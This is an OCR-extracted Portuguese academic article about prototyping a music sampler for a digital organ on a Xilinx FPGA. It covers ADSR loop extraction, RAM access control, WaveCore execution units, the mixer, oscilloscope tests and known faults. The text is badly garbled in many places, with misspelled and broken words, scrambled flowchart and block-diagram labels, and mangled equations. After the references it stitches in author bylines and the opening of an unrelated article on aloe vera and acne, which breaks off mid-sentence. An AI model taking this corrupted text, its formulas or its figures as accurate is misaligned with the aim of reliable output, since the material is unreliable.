obtidas de instrumentos reais. (DAVIES, 2000, APUD ANTOINE, 1907).

Com a ascenséo da eletronica digital, surge uma nova classe de instrumentos musicais,
muito mais robustos, apresentando uma sonoridade praticamente indistinguivel de um instru-
mento acustico. Este tipo de hardware, conhecido como Sampler, € o coragdo de diversos
instrumentos musicais digitais modernos de medio e alto custo.

O objetivo do projeto descrito neste documento € verificar a viabilidade do desenvolvi-
mento de um Sampler para orgao digital em arquitetura reconfiguravel do tipo FPGA. Utilizando
uma arquitetura deste tipo, garante-se a possibilidade de atualizagdes e melhorias no circuito
e incremento de funcionalidades, desde que atendidos os requisitos e limitacoes do dispositivo

empregado no projeto.

1.1 0 DISPOSITIVO SAMPLER

O Sampler € um equipamento que executa amostras de instrumentos musicais em te
po real, com base em instrugdes e parametros passados pela console de comando. A aplj
cao deste conceito, amostragem e execucao de amostras em tempo real, passou a ser utilizado

de forma ampla para a construcéo de instrumentos digitais que simulam instrumentos musicais




Figura 1.1 — Esbogo da amostra de um instru-
mento qualquer.
Fonte: DAVIES, 2014.
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Figura 1.2 — Grafico ADSR tipico.
Fonte: FARREL, 2014.

acusticos, tais como orgaos e pianos digitais. A técnica de amostragem e execugao controlada
em loop possibilitou o incremento de qualidade, tornando a sonoridade indistinguivel de um

instrumento acustico. (DAVIES, 2000).
1.1.1 AMOSTRAS DE INSTRUMENTOS

A técnica de amostragem utilizada em Samplers faz uso gravagoes digitais de alta
fidelidade do instrumento acustico, trazendo assim toda as nuances que compoe seu timbre,
tais como frequéncias harmoénicas que normalmente ndo sao simuladas com precisdo em. Na
Figura 1.1 consta um esboc¢o de um trecho da forma de onda obtida através da amostragem de
uma nota em um instrumento qualquer.

A forma de onda esbocada na Figura 1.1 possui componentes de frequéncias mais

altas do que sua frequéncia basica — destacado em “a”— que normalmente ocorrem devido ao
desdobramento da frequéncia basica em harmoénicas causadas pelas caracteristicas especifi-

cas dos materiais que compde o instrumento (DAVIES, 2000).

1.1.2 ANALISE DE UMA AMOSTRA PARA GERACAO DE LOOPS

Para que uma amostra de audio possa ser utilizada em um Sampler, esta € separada
em quatro partes distintas: Ataque, Declinio, Sustentacao e Liberagdo (ADSRADSR — Ataque,
Declinio, Sustentagéo e Liberagao ). Na Figura 1.2, consta o grafico ADSR tipico da amplitude
da amostra sonora em fungao do tempo (CARVALHO, 1995).

Conforme a Figura 1.2, uma amostra sonora de um instrumento possui um periodo/tran-

siente inicial, composto por um periodo ascendente chamado ataque (attack) e um pegueno
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Figura 1.3 — Amostra de um registro de 6rgao de tubos separados nos pontos ADSR.

Fonte: O Autor, 2014.

decaimento (decay), posteriormente um periodo de estabilida-
de ocorre (que pode ndo existir a depender do instrumento),
chamado sustentacao (sustein time), que é seguido por um pe-
riodo de liberagéo (release), quando o som & completamente
extinguido.

O loop de uma amostra é efetuado dentro do periodo
de sustentacao, onde 0 mesmo possui uma caracteristica re-
lativamente previsivel e repetitiva. Na Figura 1.3, gerada a par-
tir de uma amostra de 6rgao de tubos carregada no software
MATLAB, sao marcados os quatro pontos ADSR que descre-
vem o comportamento desta amostra

Conforme a Figura 1.3, o ponto 1, chamado ataque,
ocorre a partir do instante zero, quando a tecla € pressionada.
O ponto 2, chamado declinio ocorre apds a pressao de ar que
passa pelo tubo estabiliza. O ponto 3, chamado sustentagao,
€ nada mais que um ponto de regime permanente. O ponto 4,

chamado liberacao, ocorre quando a valvula que alimenta o

tubo com ar é fechada, fazendo com que este pare de ressg-

nar e desestabilize sessando o som.
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Figura 1.4 — Composicéo de intercessao de loop
Fonte: O Autor, 2014.
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1.1.3 EXECUCAO DE AMOSTRAS EM SISTEMAS SAMPLER

Um dos problemas com a técnica de execugao de amostras em loop reside no apare-
cimento de ruidos de alta frequéncia ao retornar a amostra de seu final para o inicio ou outro
trecho intermediario. Este tipo de ruido aparece devido ao ponto de corte no final da amostra
dificilmente coincidir com o ponto de emenda para criagdao do loop, gerando um fendmeno
chamado Fendbmeno de GIBBS. Na Figura 1.4, constam dois exemplos de intercessao entre o
final e o inicio de uma amostra em loop.

Conforme a Figura 1.4 (a) o fim da amostra nZo coincide com o inicio do ponto de inter-
cessao, gerando assim um degrau. Esta intersecao abrupta demonstrada gera um ruido cuja
amplitude é proporcional ao salto entre a ultima e primeira amostra do sinal. Na Figura 1.4 (b)
utilizada uma técnica onde as amostras sao tradas de modo a definir exatamente os pontos de
loop, ajustando as formas de onda para que o ponto de intercessao do loop case perfeitamen-
te de forma a eliminar os efeitos indesejados. O ponto de intersecao coincide perfeitamente,
fazendo com que o sinal sofra pouca alteracéo. As pequenas diferencas que porventura ainda

persistam, o hardware sampler corrige através de interpolagao simples.

O desenvolvimento deste protoétipo aborda diversos conceitos, como controle de mg-
moria RAM Dual Port, acesso a cartao SD e DSP. Na Figura 2.1, consta o diagrama em blotos
da estrutura interna do Sampler desenvolvido, bem como suas ligacoes.

Conforme apresentado na Figura 2.1, o bloco principal do projeto, denomina-se[“TOP

Sampler”. Este reune as unidades de inicializacao, responsavel por inicializar o dispositivp bem




como configura o modo de operagdo e controle do acesso serial (UART) para diagndésticos

(acesso direto a memoria para andlise), além das ligagoes entre cada estrutura.

Clocks
UART

Controlador RXTX TOP Sampler
H H Entrada SPI
Inicializagdo
DATA Load
Unidade WAVE (WEU)
Acesso Serial a memdria Controle de
I | RAM (Diagndstico) acesso a RAM
Controle SD 1 x8 nucleos
| WAVE Cache de
Enderecos
g Modo de operagdo
RD
Corte . | . . Controle ¢
Memodria € RAM
RAM WR
B Controlador
Mixer > DA

Figura 2.1 — Diagrama em blocos do Protétipo do Sampler.
Fonte — MARTINS, 2014.




2.1 TRATAMENTO DE AMOSTRAS

Este projeto de Sampler foi concebido como um dispositivo especifico, sendo proje-
tado para uso como processador de audio para um orgao digital. Desta forma, a arquitetura
desenvolvida € simplificada, utilizando exemplos tratados cujos pontos ADSR sao localizados
previamente e seus enderecos guardados em um bloco de memdria do FPGA.

Na Figura 2.2, constam os graficos contendo o resultado do processo de separacéao
dos pontos ADSR para os exemplos 36 e 37 efetuado através do software MATLAB.

Conforme a Figura 2.2, o processo de separagao dos pontos ADSR ocorreu conforme
esperado, onde na primeira coluna consta a amostra completa, na segunda coluna as regides
de ataque e declinio, na terceira coluna a regiao de sustentacao, e na quarta coluna, a regiao

de liberagao.
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Figura 2.2 — Trecho ADSR separados para os exemplos de nimero 36 até 38.
Fonte - O Autor, 2014.




2.2 ACESSO A MEMORIA RAM

O kit de desenvolvimento Xilinx LX9 Microboard é dotado de
um modulo de memoria RAM contendo 64 MB. Para controle desta
memoria, a Xilinx disponibiliza através de sua ferramenta Core Ge-
nerator, uma estrutura (Core) para acesso a memoria (Avnet, 2014).

Para tanto, este Core necessita de uma sequéncia de coman-
TR ERRGTEaTER dos bem especifica. Para controle deste, desenvolveu-se um mo-

dulo chamado DATA_RAM_Control. Desta forma, todos os sinais e

comandos séo de responsabilidade desta estrutura (Martins, 2014).

I g e S A Sy ity 23 DECODIFICADOR DIGITAL PARA ANA LO GICO

O controle do dispositivo decodificador é efetuado atravées

- - de um barramento do tipo SPI, este tipo de transmissao de dados
Figura 2.3 — Transmissédo de dados em modo SPI.

Fonte — O Autor, 2014. funciona utilizando 3 sinais basicos: clock, sincronismo e dados. Na

Figura 2.3, consta a captura de tela do Osciloscopio Agilent 54622D,
demonstrando os sinais de controle do DA em modo SPI.

Na Figura 2.3, o pino DO do osciloscopio representa o sinal d
sincronismo, onde sua transicao ocorre sempre na borda de descida
do clock (sinal D3). Os sinais D1 e D2 do osciloscopio representam

os barramentos de dados, transferindo informacoes de forma sgrial.




2.4 UNIDADE DE EXECUCAO WAVE

A Unidade de Execucao Wave (WEUWEU — Unidade de Execucao Wave) é responsa-
vel por executar as amostras e gerir os loops. O processamento € em tempo de mantendo uma
taxa de 44100 amostras de 16 bits por segundo. Esta unidade € separada em quatro blocos
basicos: Nucleo de Execugao WAVE (WaveCoreWaveCore — Nucleo de Execugédo WAVE), me-

moria cache para enderecos, controle de acesso a memoria RAM e escalonador de processos.
2.4.1 ESCALONADOR DE PROCESSOS

O escalonador de processos € a estrutura responsavel por receber as solicitagoes,
trata-las e encaminha-las a um nucleo de processamento disponivel. Para tanto, existe uma fila
de prioridade com base na ocupacao dos WaveCores. O processo de desligamento da nota
ocorre de forma direta, apenas verificando qual WaveCore esta sinalizando a execugado da
referida nota (MARTINS, 2014).

Desta forma, o escalonador possui como objetivo basico identificar as requisicoes de
acionamento e desacionamento de notas, selecionando um WaveCore que esteja livre e repas-
sando as informacoes necessarias para que a execucao ocorra. Uma vez selecionado, um sinal

de enable é enviado. Este, por sua vez, permanece ativo e em execucao de forma paralela, até

que o escalonador leve o sinal de enable para nivel logico baixo (MARTINS, 2014).
2.4.2 MEMORIA CACHE PARA ENDERECOS DE MEMORIA

A memoria cache para endereco, utilizada neste projeto é constituida, basicament:

um conjunto de registradores com seus valores fixados por default, que sao descarregados no




barramento conforme as solicitacdes do escalonador. Tal memoria cache, desta forma, esta liga-
da diretamente ao escalonador, ndo sendo acessada diretamente pelo WaveCore, podendo ser

considerada uma memoria Cache de L2 compartilhada do tipo somente leitura (MARTINS, 2014).

2.4.3 CONTROLADOR DE ACESSO A MEMORIA RAM

O controlador de acesso a memoria RAM atua como um multiplexador inteligente, efetu-
ando a selecao de qual WaveCore obtera acesso amemoria. Para o WaveCore, este processo e
transparente, sendo que na otica deste € como se 0 acesso ocorresse de forma direta, porém,
quem esta realizando o0 acesso € o controlador de acesso a memoria. Na Figura 2.4, consta o
fluxograma descrevendo a sequéncia logica de operacao do controlador de acesso a memoria

RAM da WEU.

Conforme a Figura 2.4, observa-se que o controlador possui apenas como objetivo ve-
rificar se algum WaveCore solicita acesso a memaria, ligando-o a mesma em caso positivo e
efetuando a entrega de informacodes. Este procedimento ocorre de forma ciclica, disponibili-

zando tempo de acesso a cada WaveCore conforme a necessidade.

Habilita meméria
RAM
Tran'sfere endereco | RAM WAIT = 0 ' Tran~sfere
enviado pelo Core informagdo ao Core
Conecta sinal de

WAIT

Core X RAM
Enable

,

X=X+1 até 32
Quando > 32, X=1

Figura 2.4 — Fluxograma do controlador de acesso a memoria RAM da WEU.
Fonte — O Autor, 2015.




2.4.4 NUCLEO DE EXECUCAQ WAV

= duas amostras [ 7| finalizagdo da nota
Nao ¢ O Nucleo de Execugdo Wave (Wa-
S ice de sendide veCore) desenvolvido neste projeto € se-
7| MSBs com os 8 LSBs NEo encontrado
parado em duas etapas basicas: Execucao
Carrega enderegos ¢ sim B o B ) ) ~
el o Aemostra I3, padréo (inicializagéo e loop) e Finalizagao.
em memédria cache B eSS .ADDR > ADDR Amostra 2
i . nal da amosty Cada uma das duas etapas possuem uma
Identifica com base | N30 sim Sinaliza que sequéncia especifica de funcionamento,
no numero da nota Sinal do Mixer v encontrou o pico da
e registro o sendide
EES ) . .
Q:;é:;;i;’;;ﬁfea X Wpr G realizando andlise e testes entre as amos-
v ,
v tras de forma a garantir os pontos de corte
Descarrega primeira Carrega enderego
t de final d; .
e e amastras de loop + e retorno. Na Figura 2.5 consta o fluxogra-
de “sustentacdo” 1 no contador de
enderegos e .
e memeria saene. " sim ma descritivo do funcionamento do Wave-
L1 (Index2)
ShElCD M \ 2 Core desenvolvido.
g , otz ,
sim (pico) com base na Conforme a F|gura 2.5, o WaveCore
nao amostra de final do
ADDR < Index2 Descarrega segunda loop guardada na . , .
amostra memdria Cache L1 aguarda um sinal de enable, que € enviado
B S pela estrutura principal da WEU através do
C'alrr.ega amostra de contador de
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Cachelle carrega
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iy .
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Figura 2.5 — Fluxograma demonstrativo do funcionamento do WaveCore.

Fonte — Martins, 2014. che L2. Estes dados ja foram carregados a

partir do préprio escalonador de procgssos

e encontram-se no barramento aguardan-



do para descarga. Com base nestes enderecos, o WaveCore efetua o carregamento inicial da ultima
amostra do trecho de loop da nota, necessario para normalizagdo na sequéncia de finalizagao e para o
processo de loop. Realizada esta etapa de inicializagéo, o WaveCore verifica 0 modo de operagéo (fi-

nalizagéo ou loop), e efetua o carregamento da préxima amostra prevista com base em um contador de

enderecos. Quando o contador atingir o valor limite para o loop (enderego do contador € maior que o
endereco final do trecho de loop carregado), o endereco é resetado para o endereco de inicio do loop,
mantendo a nota soando. Caso o instrumentista solte a nota e o escalonador de processos comute o
sinal de enable do WaveCore para nivel logico baixo, este entrara na rotina de finalizacao. Esta rotina
basicamente continua a execugao da nota por no maximo um ciclo de sua frequéncia, até encontrar o
pico do sinal sinusoidal. Localizado o pico, o WaveCore realiza um salto para o enderego onde encon-

tra-se a ultima amostra do trecho de sustentacdo, normalizando a amostra de pico localizada utilizando

como base a ultima amostra de sustentacao que se encontra armazenada na memoria cache. Desta
forma, o endereco de memoria € incrementado e o WaveCore executa o trecho de liberacéo. Quando a
execucao é concluida, o WaveCore retorna para o estado inicial aguardando um novo sinal de enable

do escalonador.

As amostras gravadas em arquivo WAVE ainda possuem duas caracteristicas importantes que
devem ser levadas em consideragao antes de aplicar qualquer processo de normalizagao ou compara-
cao. As referidas amostras sdo armazenadas em complemento a 1, e com os 8 Bits Mais Significativgs
(MSBMSB - Bits Mais Significativos) invertidos em relagdo aos 8 Bits Menos Significativo(s) (LSBL/SB
— Bits Menos Significativos). Desta forma, ao carregar o dado da memoria RAM, este deve ser regons-
truido invertendo os 8 MSB com os 8 LSB. Ainda, o complemento a 1 deve ser removido, uma vez que

o DA trabalha com niveis PCM apenas positivos, iniciando no valor zero (MARTINS, 2014).




Sinal 1 =1001010111110100, Sinal 2 =1010010110010101
Sinal Somado = Sinal 1 4+ Sinal 2 = 1001010111110100 4 1010010110010101
Soma = 10011101110001001 — 17 bits
Barramento Cores Ativos = 00000011
Soma Cores Ativos =0+040404+040+1+1=10

Sinal Somado
Normalizado = ————— = 1001110111000100 — 16 hits
Soma Cores Atives

(2.1)

umario

ApOs realizado o processo de ordenagao de dados e
remocao do complemento a 1, as amostras estao prontas para
0s processos de analise descritos no fluxograma, e somente
apos estes processos, a informacao estara pronta para ser en-

tregue ao Misturador (Mixer).

2.5 MISTURADOR

Todos os sinais produzidos atraves da WEU devem ser
misturados de forma a compor um unico sinal a ser decodifica-
do pelo DA. Este processo é realizado por um Mixer, desenvol-

vido forma a somar os sinais entrantes e normaliza-los.

O resultado das informacdes processadas nos 8 Wa-
veCores é transmitido através de um barramento de 128 bits.
Este barramento, por sua vez, € separado em blocos de 16 bits

a serem somados entre si, cujo resultado € armazenado em um

registrador de 19 bits. A normalizacao, para que o sinal nao
exceda o limite do decodificador, € efetuada utilizando a sina-
lizacao de operacao dos WaveCores. Na Equacgéo 2.1, consta
a demonstragéo matematica (soma e divisdo binaria) de cgmo
ocorre o0 processo de mistura entre dois sinais, enviadog por

dois WaveCores ativos.



3 TESTES E
VALIDACOES

Onde, “Sinal 1” e “Sinal 2" sdo os sinais enviados por dois WaveCores, “Sinal Somado”,
€ o resultado da soma binaria entre os dois sinais, “Barramento Cores Ativos” € a informacgao
de sinalizacao dos WaveCores em execucgao, “Soma Cores Ativos” representa o niumero de
WaveCores ativos no momento em que este sinais sao somados e “Normalizado”, é o resultado

final da mistura de sinais apos a normalizacao.

De forma a validar o funcionamento do dispositivo como um todo, alguns testes foram
realizados. No total, foram realizados quatro testes gerais do dispositivo e um teste especifico,
sendo eles: Teste de inicializacao e corte de uma nota, teste de inicializacao de uma nota man-
tendo loop por tempo indeterminado, teste de polifonia com duas notas e teste de polifonia com

multiplas notas (limitado a oito notas) e teste de acesso a memoria RAM.

3.1 VALIDACAO DE ACESSO A MEMORIA RAM

Os testes foram efetuados utilizando-se a ferramenta Gerdata_V04, desenvolvida pelo
professor Mestre Delfim Luiz Torok. Esta ferramenta basicamente envia informacoes através de

uma porta Serial, e posteriormente efetua a leitura dos dados devolvidos. Na Figura 3.1, consta

a captura de tela do Osciloscopio Agilent 54622D, contendo os sinais do processo de leitura/e

escrita, respectivamente, realizado na memoria RAM.




Figura 3.1 — Sinais de escrita e leitura, respectivamente, na meméria RAM.
Fonte: O Autor, 2014.

Figura 3.2 — Tempo de recuperagdo de um bloco de dados da meméria RAM.
Fonte: O Autor, 2014.

Na Figura 3.1, sao destacados dois processos, sendo o
primeiro quadro o processo de gravacao, e o segundo quadro
o processo de leitura. Os sinais DO até D3 sao comuns para
ambos os processos (leitura e escrita), sendo que o pino DO do
osciloscopio corresponde ao sinal de enable, D1 € o sinal de
ocupado retornado pelo médulo de controle da memoria, D2 e
o sinal p0_cmd_enable, utilizado para transferéncia do coman-
do ao Core de controle, D3 € o sinal p0_cmd_empty que deve
comutar a zero quando o comando é recebido e aceito. Os
pinos D6 e D8, sao utilizados no processo de gravacao, sendo
os sinais pO_wr_enable e p0_wr_empty respectivamente, os
pinos D7 e D9 sao utilizados no processo de leitura, sendo o0s
sinais p0_rd_enable e p0_rd_empty, respectivamente. O pino
D11 esta ligado a saida de VCC dos PMODS do kit.

Na Figura 3.2, consta a medigdo do tempo de recupera-
¢ao de um bloco de 32 bits a partir da memaria RAM, medido
em um Osciloscopio Agilent 54622D.

Conforme a Figura 3.2, o tempo de recuperagao de u
bloco de dados ocorre em 393 ns. Esta informacao € impo
te, pois esta intimamente ligada a quantidade de vozes (nptas)

que podem ser processadas simultaneamente.




Sumario

Na equacao 3.1, consta o calculo que representa o tempo minimo para recuperacao de

um bloco de dados de forma a sustentar uma polifonia de 32 vozes.

1seg

o (3.1)
G <Fs* 37 <44100 32 < 708,61 ns

Onde “t ” é o tempo maximo de espera para que uma amostra seja entregue da
max
memoria de forma a satisfazer uma polifonia de 32 vozes a uma taxa de 44100 Hz, “seg” €
segundo, “Fs” a frequéncia de amostragem e 32 o numero de vozes em curso.

Comparando os resultados (equagéo x resultado pratico), conclui-se que o controlador

atende os requisitos minimos para operacao do sampler.
Ainda com base neste tempo de recuperacao medido, estima-se a velocidade de trans-

feréncia da memoria RAM, conforme Equacéao 3.2.

BaudRate = [(W)/IUZ“I] /1024 =9,706 MB/s 3.



3.2 INICIALIZACAOQ E CORTE DE UMA NOTA

Este teste visa verificar o funcionamento do WaveCore,
analisando o comportamento da forma de onda reproduzida

pelo DA. Durante os testes, € enviado um sinal para ligar uma

determinada nota, aguardando o tempo de aproximadamente

2 segundos e posteriormente enviando um sinal para desligar

Figura 3.3 — Inicializagdo da nota numero 36 . X
Fonte: O Autor, 2014, a mesma nota. Na Figura 3.3, consta a captura de tela do osci-

loscopio Agilent 54622D no momento de inicializagao da nota
numero 36.

Conforme a Figura 3.3, a nota foi inicializada correta-

mente, apresentando o comportamento esperado em seu for-
mato de onda. Na Figura 3.4 consta a captura de tela do os-
ciloscopio Agilent 54622D no momento de finalizacao da nota

numero 36.

Figura 3.4 — Finalizacdo da nota nimero 36. Conforme a Figura 3.4, o processo de finalizacao da

Fonte — O Autor, 2014. nota ocorreu conforme esperado, realizando o processo de

emenda e normalizagao do ponto de emenda com o trecho d
liberacao da nota.

A nota numero 36 trata-se da nota D6 numero
teclado, sendo que esta nota € afinada a uma frequéncja de

aproximadamente 261,6 Hz, podendo ser verificada nof osci-
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loscopio. Na Figura 3.5 consta a captura de tela do oscilosco-
pio Agilent 54622D, contendo a frequéncia da nota numero 36
quando no trecho de sustentacao.

Conforme a Figura 3.5, a frequéncia da nota foi esti-
mada em 261,8 Hz. Uma vez que a frequéncia esperada € de
261,6 Hz, a diferencga é considerada pequena (erro menor que
1%). Desta forma, conclui-se que esta etapa de teste apresen-
tou sucesso, demonstrando baixo nivel de ruido e os resulta-

dos esperados para os comandos enviados.

3.3 TESTE DE POLIFONIA COM DUAS VOZES

O teste de polifonia a duas vozes trata-se do envio de

dois comandos para ligar duas notas distintas ao mesmo tem-
Fonte — O Autor, 2014.

po. Para este teste foram escolhidas as notas numero 36 (Do)

e 40 (Mi). Para uma analise mais apurada do processamento

paralelo de dois WaveCores, o processo de mistura realizado
pelo Mixer foi desativado, enviando o resultado do processa-
mento dos WaveCores diretamente para a saida do DA, ondge
o WaveCore numero 1 foi ligado ao canal um, e o Wave
numero 2 ao canal dois. Na Figura 3.6, consta a capturn
tela do osciloscopio Agilent 54622D contendo o resultagio do

processamento das duas referidas notas.




Conforme a Figura 3.6, observa-se que os sinais deco-
dificados em cada um dos canais se difere. A forma de onda
apresentada na ponteira 1 € ligeiramente diferente da forma
de onda apresentada na ponteira 2. Desta forma, € possivel
verificar que o processamento paralelo de amostras ocorre

corretamente, bem como o controlador de acesso a memoria.

3.4 TESTE DE POLIFONIA COM MAIS DE DUAS

Figura 3.6 — Polifonia de duas vozes.
Fonte — O Autor, 2014. N OTAS

O teste de polifonia com duas ou mais vozes foi realiza-

do mantendo o misturador ativo, desta forma, espera-se obter

apenas o resultado da soma entre as notas ativas na saida
do decodificador digital. Este teste, por sua vez, apresentou

falhas que serao abordadas nas secoes seguintes.

Devido a este projeto tratar-se de um protétipo, al-

Problemas
ontrados e

Vels SOIUgoes apresentadas algumas falhas encontradas no projeto e

sem solugdo, apresentando um possivel caminho para sanar

gumas falhas persistem e podem ser corrigidas, bem co

muitas melhorias podem ser realizadas. Nesta secao, sgrao

ou amenizar o problema.



Figura 4.1 — Zeros inseridos a cada 6 ms.

Fonte — O Autor, 2014.

4.1 ZEROS INSERIDOS NAS AMOSTRAS
GERAM RUIDO

Durante os testes gerais, apos a estrutura de carga ser
devidamente desenvolvida (cartdo SD para memodria RAM) e
colocada em operagao, percebeu-se que zeros sao inseridos
nos sinais a um periodo de 6 ms. Na Figura 4.1, consta a cap-
tura de tela do osciloscopio Agilent 54622D, contendo os zeros
inseridos e a diferenca de tempo entre eles.

Conforme a Figura 4.1, sao inseridas amostras com va-
lor zero a cada 6 ms. Este comportamento ocorre em todas as
amostras carregadas no dispositivo, comprovando que se trata
de algum erro no processo de carregamento destas amostras
do cartao SD para a memoria RAM.

Uma vez que o processo de gravacao de dados é re-
alizado diretamente no cartdo SD, em modo RAW, é possivel
que estes zeros estejam ligados com o CRC do cartao, que

nao € descartado no processo de gravagao. Uma possivel so

lugao para o problema € a analise da estrutura de comando,
verificando se é possivel eliminar o CRC durante o procgsso
de leitura. Caso o CRC ndo possa ser eliminado, uma
reside no uso de contador de bytes transferidos que idenfifique

o byte de CRC, descartando-o.
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4.2 POLIFONIA MAIOR DO QUE DUAS VOZES
APRESENTA FALHA

Ao realizar o teste de polifonia maior do que duas vozes
observou-se que o resultado do sinal apresenta ruido exces-
sivo. Colocando o resultado do processamento do WaveCore
numero dois no segundo canal do DA, observou-se que o sinal

resultante demonstra ser o resultado da multiplexagao entre

dois sinais. Na Figura 4.2, consta parte captura de tela do Os-

ciloscopio Agilent 54622D, contendo o resultado de processa-

Figura 4.2 — Erro de multiplexagdo no acesso a memoria. mento de um WaveCore.
Fonte: O Autor, 2014.

Conforme observado na Figura 4.2, o sinal apresenta a
caracteristica de trés formas de onda distintas. Este problema
ocorre devido ao tempo de comutacao dos barramentos estar

ultrapassando o limite de clock, fazendo com que o controla-

dor de acesso a memoria entregue a informacao ao WaveCo-
re incorreto, deixando os emais WaveCores sem dados para
processar.

Uma forma de resolver este problema é reduzindg/ o
clock (consequentemente modificando grande parte da egtru-
tura de controle), ou segmentar estas estruturas, o que [deve

aumentar o circuito.




4.3 CAPACIDADE DO FPGA

Devido ao tamanho do projeto, problemas de espago no FPGA passaram a ocorrer na
fase de desenvolvimento do Mixer. Este fato ocorre devido a grande quantidade de logicas
combinacionais e barramentos necessarios. Na Figura 4.3 consta a mensagem de erro relatada
pelo ISE Design Tools durante o processo de geracao do arquivo de configuracoes do FPGA

(BitStream).

T Map Messages - Errors, Warnings, and Infos Mew
360 - The number of logical carry chain blocks exceeds the capadty for the target device. This design requires 1034 Mew

but only has 715 slices available that allow carry chains.
o Map: 237 - The design is too large to fit the device, Please check the Design Summary section to see which resource MNew
requirement for your design exceeds the resources available in the device, Mote that the number of slices reported may not

Figura 4.3 — Erro de falta de espago no FPGA.
Fonte — O Autor, 2014.

Conforme a Figura 4.3, a quantidade de Slices disponivel € muito inferior a quantidade
de Slices necessaria para a implementagao deste projeto. Isso ocorre devido aos blocos pos-
suirem grandes dimensoes e a existéncia de logicas combinacionais extensas.

Uma opcéao para ampliar o suporte a multiplas vozes diz respeito a insercéo de proces-

samento multi-thread ao WaveCore. Um WaveCore possui em 17 pipelines. A memoria RAM

consome em torno de 40 ciclos de clock para entrega de um bloco de 32 bits de dados (duds
amostras). Desta forma, & possivel afirmar que o WaveCore consome em média 60 ciclog/ de
clock para processar duas amostras (um ciclo de seu trabalho).

O WaveCore aguarda o sinal do Mixer para entrega da amostra processada. Estg sinal

ocorre a cada 2267 ciclos de clock. Durante este tempo, um Unico WaveCore poderia pro-
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cessar ao menos 36 amostras de audio, e guarda-las em uma pequena memoria cache para
posterior entrega ao Mixer.

Sendo assim, poder-se-ia utilizar uma abordagem multi-thread, criando uma estrutura
para controle de uma memoria cache com um multiplexador inteligente, que ordena as amos-
tras e as entrega ao Mixer quando solicitado. Este tipo de abordagem poderia eliminar o uso
de multiplos WaveCores, uma vez que o principal limitante passa a ser velocidade de acesso a

memoéria RAM e o clock maximo suportado pelo FPGA.

O desenvolvimento de um dispositivo Sampler aborda uma ampla quantidade de ma-
térias, desde fisica até processamento digital de sinais. Desta forma, um projeto como este,
demanda um trabalho continuo e de longa duragao, que deve ser separado em etapas a serem
seguidas e validadas de forma independente. Somente apods as validagdes de cada etapa o
projeto deve prosseguir.

Destaca-se também a necessidade de amplo conhecimento acerca de eletronica digital
e microeletronica. Em projetos grandes, com muitas maquinas de estado, longos barramentos

e clocks na ordem de centenas de MHz, deve-se ter em mente que ocorrem atrasos e estes

tornam-se de dificil contorno. A metodologia para transmissao de clock adotado no FPGA € do
tipo AD-HOC, desta forma, existem limitagdes de onde clock consegue chegar e de como tratar
os bufferes de clock. Gerando problemas de atrasos na transmissao de dados nos barrafnen-
tos que se tornam comuns conforme o projeto cresce, sendo necessarias mudangas estruturais

e outras abordagens para garantir que a informacéao seja entregue.




Todos os problemas e dificuldades listadas sdo perfeitamente contornaveis, seja efetu-
ando pequenas mudancas na descricao de hardware, seja modificando a arquitetura escolhi-
da. Desta forma, conclui-se que é perfeitamente possivel desenvolver este tipo de dispositivo
em FPGA, bastando realizar algumas mudancas na arquitetura proposta de forma a otimizar o
uso de recursos.

Para trabalhos futuros, permanece o objetivo de melhorias na WEU e WaveCore, de
forma a introduzir a execucao de multi-thread, eliminando a necessidade de multiplos nucleos,
ou reduzindo a sua quantidade. Correcao e melhorias no controlador de acesso a memoria
RAM da WEU, localizar e corrigir o erro referente a insercao de zeros nos exemplos de notas e

reducao de ruidos.




REFERENCIAS

AVNET. LX9 MicroBoard User Guide. Disponivel em: <http://opencores.org/websvn,filedetail-
s?repname=openmsp430&path=%2Fopenmsp430%2Ftrunk%2Ffpga%2Fxilinx_avnet_Ix9mi-
crobard%2Fdoc%2F Xilinx_Spartan-6_LX9_MicroBoard_Rev_B2_Hardware_User_Guide.pdf>.
Acesso em: 27 fev. 2014.

CARVALHO, Fausto de. Segredos do Som no PC. Brasport, 1995.

DAVIES, Hugh. A History of Sampling. Disponivel em <http://journals.cambridge.org/action/
displayAbstract?fromPage=online&aid=49995>. Acesso em: 12 de margo de 2014.

FARREL, Benjamin. Grafico ADSR. Disponivel em < http://www.benfarrell.com/wp-content/
uploads/2011/12/M4C_intro.ADSR_.png >. Acesso em: 25 de margo de 2014.

MARTINS, Josias Diego. Desenvolvimento de um protétipo de sistema Sampler de instrumen-
tos musicais implementado em arquitetura reconfiguravel. Disponivel em <http://biblioteca.
feevale.br/Monografia/MonografiadosiasMartins.pdf>. Acesso em: 5 de Janeiro de 2016.


http://opencores.org/websvn,filedetails?repname=openmsp430&path=%2Fopenmsp430%2Ftrunk%2Ffpga%2Fxilinx_avnet_lx9microbard%2Fdoc%2FXilinx_Spartan-6_LX9_MicroBoard_Rev_B2_Hardware_User_Guide.pdf
http://opencores.org/websvn,filedetails?repname=openmsp430&path=%2Fopenmsp430%2Ftrunk%2Ffpga%2Fxilinx_avnet_lx9microbard%2Fdoc%2FXilinx_Spartan-6_LX9_MicroBoard_Rev_B2_Hardware_User_Guide.pdf
http://opencores.org/websvn,filedetails?repname=openmsp430&path=%2Fopenmsp430%2Ftrunk%2Ffpga%2Fxilinx_avnet_lx9microbard%2Fdoc%2FXilinx_Spartan-6_LX9_MicroBoard_Rev_B2_Hardware_User_Guide.pdf
http://journals.cambridge.org/action/displayAbstract?fromPage=online&aid=49995
http://journals.cambridge.org/action/displayAbstract?fromPage=online&aid=49995
http://www.benfarrell.com/wp-content/uploads/2011/12/M4C_intro.ADSR_.png
http://www.benfarrell.com/wp-content/uploads/2011/12/M4C_intro.ADSR_.png
http://biblioteca.feevale.br/Monografia/MonografiaJosiasMartins.pdf
http://biblioteca.feevale.br/Monografia/MonografiaJosiasMartins.pdf

DESTAQUE
Ciéncias da Saude - Estética e Cosmética Kevin Brandon Villa
Académico de Engenharia Quimica -
Universidade Feevale.
kevin.villa.brandon@gmail.com

Ellen Seibt
Académica de Engenh
Universidade Fe
ellenseibt@hotma

Leisle Daniela Mallmann
Mestranda em Tecnologia d
Materiais e Processos Industriais.
leisle.mallmann@gmail.com

Viviane de Lima
Co-orientadora. Docente do Curso de
Engenharia Quimica da Universidade
Feevale. vivane.lima@feevale.br

Vanusca Dalosto Jahno
Orientadora. Docente do Curso de
Engenharia Quimica e do Programa
de Pés-graduacao em Tecnologia de
Materiais e Processos Industriais da
Universidade Feevale.
vanusca@feevale.br



A acne é uma dermatose cujos sintomas, em suma, sao a disfuncdo das glandulas sebdceas, o acometimento
dos foliculos e as lesoes inflamatorias. As propriedades dermatoldgicas da Aloe vera, vulgo Babosa, sao popu-
